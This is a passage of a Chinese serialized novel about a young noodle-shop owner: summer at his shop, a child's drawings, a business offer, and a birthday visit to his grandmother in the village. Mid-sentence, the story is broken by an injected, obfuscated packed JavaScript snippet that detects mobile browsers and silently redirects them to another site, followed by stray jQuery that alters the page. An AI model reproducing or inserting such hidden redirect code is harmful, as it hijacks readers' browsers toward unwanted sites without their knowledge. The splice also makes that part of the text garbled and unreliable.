七月来了，热得不像话。
每天都是三十七八度，太阳毒辣辣的，晒得马路发软，走在上面鞋底都黏。店里的空调彻底坏了，开不起来了。房寨找人来看，师傅说压缩机烧了，换一个要两千五。房寨咬了咬牙，换了。两千五没了，但店里凉快了。客人们进来的时候都长出一口气，说“终于活过来了”。
夏天的菜单还是老三样：凉面、冷馄饨、酸梅汤。房寨又加了一个新东西——冰粉。去年就想做，一直没做。今年他试了几次，终于做出来了。冰粉是用冰粉籽搓的，不是用粉冲的。冰粉籽泡在水里，搓啊搓，搓出胶质，然后放冰箱冷藏，凝固了之后浇上红糖水，撒上葡萄干、花生碎、山楂碎、芝麻，一碗才五块钱。
冰粉上架那天，卖得很好。天太热了，大家都想吃凉的。有人吃完一碗又要了一碗，说“比外面卖的好吃”。房寨听了挺高兴的，给那人多加了点葡萄干。
小月放暑假了。她每天来店里，上午写作业，下午画画，晚上跟张建国回去。她在这里待的时间越来越长了，有时候一整天都不走。她坐在她的椅子上，写作业，画画，吃面，跟客人聊天。她认识了很多老客人，能叫出他们的名字，知道他们爱吃什么。
有人问她：“小月，你长大以后想干什么？”
小月想了想，说：“想当画家。”
那人笑了：“那你得好好学。”
小月点了点头，低下头继续画画。她画的是一个厨房，灶台上放着砂锅，砂锅里冒着热气，灶台前面站着一个人，手里拿着锅铲，穿着围裙。画的右下角写着：叔叔的厨房。
房寨后来把这幅画也贴在了墙上，和之前的画贴在一起。墙上的画越来越多了，快贴不下了。他买了一个大画框，把那些画都装了进去，挂在收银台后面的墙上。画框很大，里面装了八幅画，从《我和妈妈》到《叔叔的厨房》，记录了小月这两年的成长。
张建国看着那个画框，看了很久。
“寨哥，小月长大了。”他说。
“嗯，长大了。”
“你说她以后会记得我们吗？”
房寨想了想。“会的。她会记得这里，记得我们，记得这碗面。”
张建国点了点头，没再说话。
七月的第二周，店里来了一个人。
是个五十多岁的男人，穿着白色衬衫，黑色西裤，头发梳得整整齐齐，看起来很正式。他走进来，在靠窗的位置上坐下来，点了一份凉面、一碗冰粉。他慢慢吃，吃完之后走到收银台前面，看着房寨。
“你是老板？”
“我是。”
“我姓周，是附近那个美食广场的经理。”他递了一张名片过来，“我们那边还有一个铺位，位置很好，人流量很大。你有没有兴趣？”
房寨接过名片看了看，没有马上回答。他想起了陈女士，想起了去年那个美食广场的铺位。他拒绝了。现在又来一个。
“我考虑一下。”房寨说。
周经理点了点头，走了。走的时候说了一句“我们很欢迎你这样的商家”，房寨不知道他是什么意思，他的店这么小，算什么商家。
晚上，房寨把这件事跟张建国说了。张建国听完，想了一会儿。
“寨哥，你怎么想的？”
“我不知道。”
“你想不想去？”
房寨想了想。想去吗？他不知道。他现在的店虽然小，但稳。去了美食广场，人流量大了，收入高了，但风险也大了。他不怕风险，他怕的是变了。变了之后，他还是他吗？他的店还是他的店吗？他的客人还是他的客人吗？
“我再想想。”他说。
七月的第三周，房寨回了一趟老家。
这次是专门回去给奶奶过生日的。奶奶七十九了，虚岁八十，按老家的说法，八十大寿要好好过。房寨提前几天就开始准备，在城里买了蛋糕，订做的那种，上面写着“祝奶奶生日快乐”，还有一个寿桃，粉色的，面做的，很逼真。蛋糕不大，八寸的，两个人吃刚好。他还买了一件新棉袄，紫色的，棉布的，摸起来很软。奶奶那件红棉袄穿了好几年了，领口磨得发白了，袖口脱了线，该换了。
到了家，奶奶正在院子里晒太阳。她坐在那把旧藤椅上，眯着眼睛，像一只老猫。听到脚步声，她睁开眼，看到房寨，愣了一下。
“你怎么又回来了？”
“今天你生日。”
“我生日？”奶奶想了想，“哦，好像是。”
房寨把蛋糕放在桌上，点上蜡烛。七十九，两根数字蜡烛，一个“7”，一个“9”，插在奶油上面，很显眼。他划了一根火柴，点燃了蜡烛，火苗在风里晃了晃，稳住了。
“奶奶，许个愿。”
奶奶看着蜡烛，看了几秒，然后闭上眼睛，嘴唇动了动，没出声。过了一会儿，她睁开眼，吹灭了蜡烛。烟从烛芯上升起来，细细的，弯弯曲曲的，飘到空中就散了。
“许了什么愿？”房寨问。
“不能说，说了就不灵了。”
房寨笑了，切了一块蛋糕，递给奶奶。奶奶接过蛋糕，看了看上面的奶油和水果，用叉子叉了一小块，放进嘴里，嚼了嚼。
“太甜了。”她说。
“蛋糕都是甜的。”
“我知道。”奶奶又叉了一块，放进嘴里，这次没说话，慢慢嚼，咽下去。
房寨把新棉袄拿出来，让奶奶试试。奶奶穿上，在镜子前面照了照，转了个身，摸摸袖子，摸摸领口。
“大了。”
“大点好，里面能套衣服。”
“颜色太紫了，我穿不出去。”
“在家穿，不用出去。”
奶奶把棉袄脱下来，叠好，放在沙发上。她看着那件紫棉袄，看了好几秒，然后抬起头看着房寨。
“寨儿，你瘦了。”
“没瘦，还胖了。”
“骗人。”奶奶说，“脸上都没肉了，还说胖了。”
房寨没接话。他知道自己瘦了，最近忙，吃饭不规律，有时候一天只吃一顿。但他不想让奶奶担心，所以每次都说“没瘦”。
晚上，房寨给奶奶做了一碗长寿面。阳春面，清汤、细面、葱花、一滴猪油。他做这碗面的时候很认真，比做任何面都认真，因为这是给奶奶吃的，是长寿面，吃了会长命百岁。
奶奶吃了一碗，说好吃。房寨又给她盛了一碗，她又吃了半碗。
“奶奶，长寿面要吃光，不能剩。”
“吃不下了。”
“那留着明天吃。”
奶奶笑了，把碗放在桌上。她靠在椅背上，看着房寨，眼睛里有光，那种光房寨见过很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612816|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次了，但每次看到都会心里发紧。
“寨儿。”
“嗯。”
“你什么时候带个对象回来？”
房寨愣了一下。又是这个问题，每次回来都要问。
“再说吧。”他说。
“你每次都再说。”奶奶的语气有点急了，“你都二十九了，再不找就晚了。”
“三十了。”
“三十了？”奶奶想了想，“哦，对，三十了。该找了。”
房寨没说话。他不知道怎么跟奶奶解释，他现在的状态不适合找对象。每天从早忙到晚，连睡觉的时间都不够，哪有时间谈恋爱？再说，他一个开小饭馆的，没什么钱，也没什么本事，谁会看上他？但他知道跟奶奶说这些没用。
“奶奶，我有你就够了。”
奶奶看着他，眼眶红了。“傻孩子，奶奶能陪你多久？你总得有自己的家。”
房寨没接话。他把奶奶搂得更紧了一些。
第二天一早，房寨要走了。奶奶送他到村口，穿着那件紫棉袄，头发盘得整整齐齐，站在树下，风吹着她的白发。她这次没哭，笑着冲他挥手。
“下个月还回来？”
“回来。”
“别忘了。”
“忘不了。”
房寨上了摩的，马师傅发动车子，突突突的。他回头看了一眼，奶奶还站在原地，手举着，一直没放下。
他转过头，风打在脸上，凉飕飕的。他的眼眶红了，但没哭。
回到城里，已经是下午了。房寨直接去了店里，张建国在厨房里忙活，小赵在外面点单，周阿姨在洗碗。一切正常，和他走的时候一样。他走进厨房，系上围裙，开始炒菜。灶火很旺，锅里的油热了，菜倒进去，刺啦一声，香味炸开。
“寨哥，你奶奶怎么样？”张建国问。
“还行，就是膝盖不好。”
“老人嘛，都这样。”
房寨点了点头，没再说话。他炒菜的时候很专注，不想别的事，只想着锅里的菜。盐放多少，火候多大，什么时候出锅。这些事占据了他的大脑，让他没空想别的。
晚上关店之后，房寨一个人坐在店里，把那本记账本拿出来翻了翻。他翻到第一页，上面写着：开店第一天，净赚820。旁边画了一个笑脸。他看着那个笑脸，笑了一下。两年前的今天，他还在为一天赚几百块钱高兴得不行。现在他一天赚一千多，但高兴的时候少了。不是不高兴，是高兴的标准变了。以前觉得赚到钱就是高兴，现在觉得看到客人吃完了说“好吃”才是高兴。
他合上记账本，放回文件柜里。文件柜里整整齐齐的，发票、收据、名片、请柬、小月的画、张建国的对联、客人们写的纸条，分门别类地放好。他看了一眼，很满意。
他站起来，关了灯，锁了门。大橘猫在楼道口等他，看到他来了，喵喵叫着跑过来，蹭他的腿。它现在胖得像个球，圆滚滚的，蹲在台阶上，像一团橘色的毛球。
房寨蹲下来，摸了摸它的头。猫的毛很厚，很软，摸上去像摸着一块绒布。它眯着眼睛，发出咕噜咕噜的声音，很满足的样子。
“走吧，上楼。”
猫跟在他后面，一步一步地爬上楼梯。它的步子很轻，几乎没有声音，但楼梯上的声控灯被它踩亮了一盏，又一盏，又一盏。